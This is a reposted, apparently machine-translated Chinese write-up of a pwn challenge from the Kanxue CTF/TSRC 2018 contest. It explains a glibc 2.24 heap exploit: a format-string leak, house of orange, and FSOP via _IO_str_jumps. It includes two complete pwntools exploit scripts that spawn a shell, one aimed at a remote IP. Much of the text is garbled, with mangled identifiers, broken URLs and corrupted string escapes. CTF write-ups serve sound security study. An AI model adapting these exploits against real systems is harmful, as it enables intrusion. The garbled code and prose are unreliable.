看雪CTF.TSRC 2018 团队赛 第十四题『 你眼中的世界』 解题思路

发布日期:2021-11-01 11:46    点击次数:117

问题14《你眼中的世界》今天(12月29日)中午12:00结束攻击!共有十支队伍破了这个难题!其中,111new111以4454s的成绩成为本话题第一名!

题目讲完后,防守球队排名如下:

最近的比赛和战斗的摘要在问题14之后,攻击者的最新排名如下:

中午,狗哭和搬砖继续排在第一位,tekkens保持第二位。n0body和fade-vivi强势进入前十!

倒数第二题后,前十名候选人已经刷新,那么最后一题还会有其他惊喜吗?等着瞧吧!

第十四题 点评

无冠:

“你眼中的世界”是一个pwn问题,而不是这个CTF常见的反向问题,这反映了命题的多样性。程序的功能很简单,会造成堆溢出,但是使用起来比较复杂。

第十四题 出题团队简介

写作团队:伊万辰团队。

【/s2/】第14个设计创意【/s2/】最初由观雪论坛ivanChen打造。

#发自内心的回响# * *[原则] * * 格式字符串,橙色之家[# * *[环境]* *

64位格式化字符串打开了FOURD _ SOURce机制,它有几个特点:

1)包含%n的格式化字符串不能位于程序内存中的可写地址。

2)使用位置参数时,必须使用范围内的所有参数。所以如果你想使用%7$x,你必须同时使用1,2,3,4,5和6。

2.堆溢出(橙色的房子)。

get在这里可以无限期地写到n,所以top_chunk可以通过这个漏洞进行修改,并且可以使用house of orange。

利用思路: Libc-2.24中加入新的检验机制 *** { Dl_info di; struct link_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; } ***

因此,我们无法通过以前的橙色房子想法获得外壳。

绕过IO _ vtable _检查:

使用_IO_list_all中的链字段伪造一个文件结构,然后将该链修改为此结构的地址。之后,当调用IO_flush_all_lockp函数时,将调用这个结构。但是,由于vtables是检查的,不可能随意提供一个假vtable的地址,但是可以使用io_str_jumps的vtable。

完整绕过思路如下:

首先通过unsortedbin攻击重写_IO_list_all,使指针指向main_arena。unsort_bin拆解时记录了属于small_bin的组块,覆盖了smallbin偏移量为0x60的位置,这个位置正好是_IO_FILE中的_chain字段。构造Fake_file结构时,将_IO_str_jumps-0x8的位置填充到vtable中。这样,在调用溢出时,就调用了_IO_str_finish。最后可以通过_IO_str_finish执行((_ IO _ strfile *)FP)-> _ s . _ free _ buff)(FP-> _ IO _ buf _ base)。

完整脚本如下。

exp.py # -*- coding: utf-8 -*- #!/usr/bin/env python2 from pwn import * context.log_level = 'debug' context.arch = 'amd64' LOCAL = True if LOCAL: p = process(['./echo_from_your_heart'],env={"LD_PRELOAD":"./libc-2.24.so"}) libc = ELF("./libc-2.24.so") else: p = remote('192.168.1.107',1337) libc = ELF("./libc-2.24.so") def printf(size,string): p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(string) def main(): #leak_libc payload = 7*"%p"+'aaa'+"%p " printf(len(payload),payload) p.recvuntil("aaa") leak = p.recvuntil(" ")[:-1] leak_addr = int(leak,16) libc_base = leak_addr - (libc.symbols['__libc_start_main'] + 241) #2.23 240 2.24 241 io_list_all = libc_base + libc.symbols['_IO_list_all'] sys_addr = libc_base + libc.symbols['system'] bin_addr = libc_base + next(libc.search('/bin/shx00')) log.info("libc_base: {}".format(hex(libc_base))) log.info("io_list_all: {}".format(hex(io_list_all))) log.info("sys_addr: {}".format(hex(sys_addr))) log.info("bin_addr: {}".format(hex(bin_addr))) #overwrite topchunk printf(0x80,'a'*0x80+p64(0)+p64(0xf51)) #trigger topchunk -> unsortedbin printf(0x1000,'b'*0x80) #vtable_addr = libc_base + 0x3be4c0 #_IO_str_jumps 2.24 vtable_addr = libc_base+libc.symbols['_IO_str_jumps'] chunk = p64(0) + p64(0x61) + p64(0) + p64(io_list_all-0x10) chunk += p64(2) + p64(3) + p64(0) + p64(bin_addr) chunk = chunk.ljust(0xd0,'x00') chunk += p64(0) chunk += p64(vtable_addr-8) chunk = chunk.ljust(0xe8,'x00') payload = chunk + p64(sys_addr) printf(0x80,'c'*0x80+payload) p.sendline("1") p.interactive() if __name__ == '__main__': main()

原始链接:

bbs.pediy.com/thread-227074.htm

第十四题 你眼中的世界 解题思路

这个话题的分析最初是由飞鱼油在雪域论坛创作的。

程序函数分析程序函数很简单,循环5次,由sub_AF0函数得到输入的长度,然后分配相应大小的堆保存输入的字,最后输出。

使用shecksec查看以下保护:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled漏洞分析

从word获得的输入没有长度检查,这可能会导致堆溢出。Word的输出将导致格式化字符串漏洞。

漏洞利用原理

1.保存在堆栈中并返回到__libc_start_main的地址是通过格式化字符串的漏洞泄露的,因此可以计算libc的基址。

2.使用堆溢出来修改顶部块的大小。如果不满足malloc的分配要求,更多空房间将通过sysmalloc应用于系统。堆有两种分配方法:mmap和brk。我们需要以brk的形式扩展堆。应用程序大小不能超过默认阈值,即128k,原始顶部区块将被放入未排序的bin中。还将检查顶部块的大小是否合法,如下所示:

assert((old_top == initial_top(av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));

因此,伪造的大小必须与内存页面对齐,内存页面大于MINSIZE(0x10),小于稍后应用的堆块,大小的prev inuse位必须为1。

使用fsop(面向文件流编程)原理和orange house原理来控制程序流。FILE用于描述Linux系统标准IO库中文件的结构,称为文件流。文件结构是在程序执行fopen等函数时创建的,分布在堆中。文件结构定义如下:

struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};

过程中的FILE结构通过_chain域相互连接形成链表,链表的头部由libc中的全局变量_IO_list_all表示,通过它我们可以遍历所有的FILE结构。应该注意的是,stdin、stdout和stderr位于libc的数据部分。实际上,_IO_FILE结构位于另一个结构中,_IO_FILE_plus,定义如下:

struct _IO_FILE_plus{ _IO_FILE file; IO_jump_t *vtable;}

它包含一个重要的指针vtable,指向一系列函数指针,这些指针在标准IO函数中被调用。

gdb-peda$ p _IO_file_jumps$1 = { __dummy = 0x0, __dummy2 = 0x0, __finish = 0x7ffff7a8ed20 , __overflow = 0x7ffff7a8f700 , __underflow = 0x7ffff7a8f4b0 , __uflow = 0x7ffff7a90560 , __pbackfail = 0x7ffff7a91700 , __xsputn = 0x7ffff7a8e5a0 , __xsgetn = 0x7ffff7a8e2b0 , __seekoff = 0x7ffff7a8d8e0 , __seekpos = 0x7ffff7a90ad0 , __setbuf = 0x7ffff7a8d850 , __sync = 0x7ffff7a8d780 , __doallocate = 0x7ffff7a829b0 , __read = 0x7ffff7a8e580 , __write = 0x7ffff7a8df70 , __seek = 0x7ffff7a8dd70 , __close = 0x7ffff7a8d840 , __stat = 0x7ffff7a8df60 , __showmanyc = 0x7ffff7a91860 , __imbue = 0x7ffff7a91870 }

因此,我们可以通过直接重写vtable中的函数指针或者重写vtable中的指针来指向我们控制的内存,然后将函数指针排列在其中,从而劫持程序流。程序可以覆盖未排序bin空的空闲块,修改bk指向_IO_list_all-0x10,同时排列假文件结构,然后分配堆块触发未排序bin攻击的修改。_ IO _ list _所有积分到main_arena+88。因为_chain字段在_IO_list_all+0x68的位置,也就是main _ arena+88+0x68->大小为0x60的小bin的位置,所以需要将其大小修改为0x60。之后,修改后的未排序仓将被放入小仓[4],这样就可以伪造一个FILE结构,并触发它继续遍历未排序仓。调用堆栈如下:

malloc_printerr _libc_message(error msg) abort _IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)

_IO_flush_all_lockp函数将刷新_IO_list_all链表中所有项目的FILE流,相当于为每个文件调用fflush,也对应于在_IO_FILE_plus.vtable中调用_IO_OVERFLOW..可以通过控制_IO_OVERFLOW函数获取外壳。libc2.24的_IO_flush_all_lockp定义如下:

int_IO_flush_all_lockp (int do_lock){ int result = 0; struct _IO_FILE *fp; int last_stamp;#ifdef _IO_MTSAFE_IO __libc_cleanup_region_start (do_lock, flush_cleanup, NULL); if (do_lock) _IO_lock_lock (list_all_lock);#endif last_stamp = _IO_list_all_stamp; fp = (_IO_FILE *) _IO_list_all; while (fp != NULL) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode _IO_write_ptr > fp->_IO_write_base)//合法性检查#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))#endif ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; if (last_stamp != _IO_list_all_stamp) { /* Something was added to the list. Start all over again. */ fp = (_IO_FILE *) _IO_list_all; last_stamp = _IO_list_all_stamp; } else fp = fp->_chain; }#ifdef _IO_MTSAFE_IO if (do_lock) _IO_lock_unlock (list_all_lock); __libc_cleanup_region_end (0);#endif return result;}

因此,伪造的结构应满足(FP-> _ mode _ io _ write _ ptr > FP-> _ io _ write _ base)或(_ io _ vtable _ offset(FP)= 0 & & FP-> _ mode > 0 & &(FP-> _ wide _ data-> _)。在libc的2.23版本中,可以直接修改伪造的vtable,使_IO_OVERFLOW=system_addr。kkhaike师兄说程序无法泄露堆顶地址,所以用绕过libc2.24的检查机制的方法来获取shell。libc2.24版本增加了一个vtable合理性检查机制,检查如下:

IO_validate_vtable (const struct _IO_jump_t *vtable){ /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable;}

可以使用__IO_str_jumps和__IO_wstr_jumps来绕过。使用__IO_str_jumps更简单。如何定位__IO_str_jumps,请参考本文。__IO_str_jumps的定义如下:

const struct _IO_jump_t _IO_str_jumps libio_vtable ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue)};

函数IO_str_finsh和IO_str_overflow可用于定义strops.c,如下所示:

void_IO_str_finish (FILE *fp, int dummy){ if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0);}int_IO_str_overflow (_IO_FILE *fp, int c){ ... pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size _ s . _ allocate _ buffer)(new _ size);//调用((char*)fp+0xE0))(2 * v6+100),V6 = FP-> _ io _ buf _ end-FP-> _ io _ buf _ base... [。

EXP

Exp是参考文章。

github . com/firmianay/CTF-一体机/blob/master/doc/6 . 1 . 25 _ pwn _ hctf 2017 _ babyprintf . MD

from pwn import *#context.log_level = 'debug'io = remote("211.159.175.39", 8686)libc = ELF('libc.2.23.so')def prf(size, s): io.sendlineafter(" word: ", str(size)) io.sendlineafter("word: ", s)def overwrite_top(): payload = "A" * 16 payload += p64(0) + p64(0xfe1) # top chunk header prf(0x10, payload)def leak_libc(): global libc_base prf(0x1000, '%p%p%p%p%p%p%p%pA') libc_start_main = int(io.recvuntil("A", drop=True)[-12:], 16) - 240 #241 libc_base = libc_start_main - libc.symbols['__libc_start_main'] log.info("libc_base address: 0x%x" % libc_base)def house_of_orange(): io_list_all = libc_base + libc.symbols['_IO_list_all'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search('/bin/shx00').next() vtable_addr = libc_base + 0x3C37A0 #0x3be4c0 # _IO_str_jumps log.info("_IO_list_all address: 0x%x" % io_list_all) log.info("system address: 0x%x" % system_addr) log.info("/bin/sh address: 0x%x" % bin_sh_addr) log.info("vtable address: 0x%x" % vtable_addr) stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) # fp->_IO_write_base stream += p64(1) # fp->_IO_write_ptr #stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0)# *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64(bin_sh_addr) stream += p64(0)#(bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream = stream.ljust(0xc0, 'x00') stream += p64(0) # fp->_mode payload = "A" * 0x10 payload += stream payload += p64(0) * 2 payload += p64(vtable_addr - 8) # _IO_FILE_plus->vtable payload += p64(0) payload += p64(system_addr) prf(0x10, payload)def house_of_orange_(): io_list_all = libc_base + libc.symbols['_IO_list_all'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search('/bin/shx00').next() vtable_addr = libc_base + 0x3C37A0 # _IO_str_jumps log.info("_IO_list_all address: 0x%x" % io_list_all) log.info("system address: 0x%x" % system_addr) log.info("/bin/sh address: 0x%x" % bin_sh_addr) log.info("vtable address: 0x%x" % vtable_addr) stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) # fp->_IO_write_base stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream = stream.ljust(0xc0, 'x00') stream += p64(0) # fp->_mode payload = "A" * 0x10 payload += stream payload += p64(0) * 2 payload += p64(vtable_addr) # _IO_FILE_plus->vtable payload += p64(system_addr) prf(0x10, payload)def pwn(): io.sendlineafter(" word: ", "0") #io.sendline("0") # abort routine io.interactive()if __name__ == '__main__': overwrite_top() leak_libc() house_of_orange() pwn()

函数house_of_orange使用_IO_str_finsh,函数house _ of _ orange使用_IO_str_overflow。但是,使用_IO_str_overflow没有成功。不知道是不是因为bin_sh_addr的地址是奇数。用橙色的房子来得到贝壳。

参考链接xz.aliyun.com/t/2411。

CTF-wiki . github . io/CTF-wiki/pwn/Linux/io _ file/fake-vtable-exploit/

ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/

CTF-wiki . github . io/CTF-wiki/pwn/Linux/glibc-heap/house _ of _ orange/

ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop/

github . com/firmianay/CTF-一体机/blob/master/doc/6 . 1 . 25 _ pwn _ hctf 2017 _ babyprintf . MD

https://www.jianshu.com/p/1e45b785efc1

原始链接:

BBS . pediy . com/thread-248698 . htm

问题15【密码风暴】如火如荼。

第15个问题/总共15个问题

《密码风暴》将于12月31日中午12:00结束。

赶紧参与吧~!

合作伙伴

腾讯安全应急中心。

腾讯安全先锋TSRC负责发现和处理腾讯的安全漏洞和黑客攻击。这是一个没有硝烟的战场,我们与2万多名安全专家并肩同行,共同捍卫全球数亿用户的信息和财产安全。一直以来,我们怀着感恩的心,努力打造一个开放的TSRC交流平台,回馈平安社区。未来,我们将继续携手安全行业精英,探索互联网安全新方向,构建互联网安全生态,开创“互联网+”新时代。

请注意:从薛雪学院转学。

看雪CTF。TSRC 2018团体赛解题思路总结:。

看雪CTF。TSRC 2018年团体赛,第一题,“世纪初”。

看雪CTF。TSRC 2018年团体赛,第二题“半加法器”。

看到薛。TSRC 2018团体赛的第三题“七十二疑”。

看雪CTF。TSRC 2018年团体赛第四题,“盗梦空房”。

看到薛。TSRC 2018年团体赛,第五题《交响乐》。

看看雪CTF。TSRC 2018年团体赛,第六题,“追兵也在”,解决问题。

看看雪CTF。TSRC 2018年团体赛,第七题,“魔法森林”。

看看雪CTF。TSRC 2018年团体赛,第八题,“双向陪衬”。

看看雪CTF。TSRC 2018年团体赛,第九题《谍战》。

看到薛。TSRC 2018年团体赛,第十题,“侠义双雄”。

看到薛。TSRC 2018团体赛,第11题,“伊甸园”。

看看雪CTF。TSRC 2018年团体赛,第十二题,《移动的迷宫》。

看雪CTF。TSRC 2018团队竞赛,问题13,“机器人历险记”。